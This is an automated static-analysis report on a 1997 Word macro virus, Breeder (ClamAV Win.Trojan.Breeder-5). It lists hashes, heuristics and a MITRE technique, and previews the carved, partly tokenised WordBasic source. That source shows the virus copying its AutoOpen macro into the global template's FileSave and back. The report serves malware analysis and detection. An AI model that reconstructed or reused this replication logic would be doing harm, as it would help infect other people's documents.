Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a1cbceefb7efa27…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2012-06-14
MD5: f45f985cc4d00cacd48a4b44d011642f SHA-1: 25b14905be212cd31feaf74a2f019ea388aaa813 SHA-256: 7a1cbceefb7efa277d733c0eef0f9ca1d1edba6037ce85cef1e26d4bffaf5421
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers and ClamAV detection as Win.Trojan.Breeder-5. The document body contains embedded strings and references to 'AutoOpen' and 'Global:FileSave' which are indicative of macro execution upon opening or saving the document. The presence of 'dk$ BREEDER BY -=>NEMESIS<=- 5/4/97' suggests a specific variant or creator, but a definitive family cannot be established.

Heuristics 3

  • ClamAV: Win.Trojan.Breeder-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Breeder-5
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 369 bytes
SHA-256: d01da65e08756da1fc266688353ba9ddb9bd050e557bbf11514bead523998641
Preview script
First 1,000 lines of the extracted script
REM   BREEDER BY -=>NEMESIS<=-  5/4/97  
REM   "DO NOT PROVOKE THE INTROVERT"
MAIN
, - * TheEnd
ThisFile$ = @cmd818e
@cmd80af @cmd8009 ThisFile$ , 4 = ".DOT"
dlg @cmd0054
dlg
TheName$ = @cmd8153
TheName$ =
dlg
dlg = 0 dlg = 1
@cmd0054 = 1
@cmd80c2 "Global:FileSave" , @cmd8025 = ":AutoOpen"
@cmd0054 dlg
@cmd00d1 = 0
@cmd80c2 ThisFile$ = ":AutoOpen" , "Global:FileSave"

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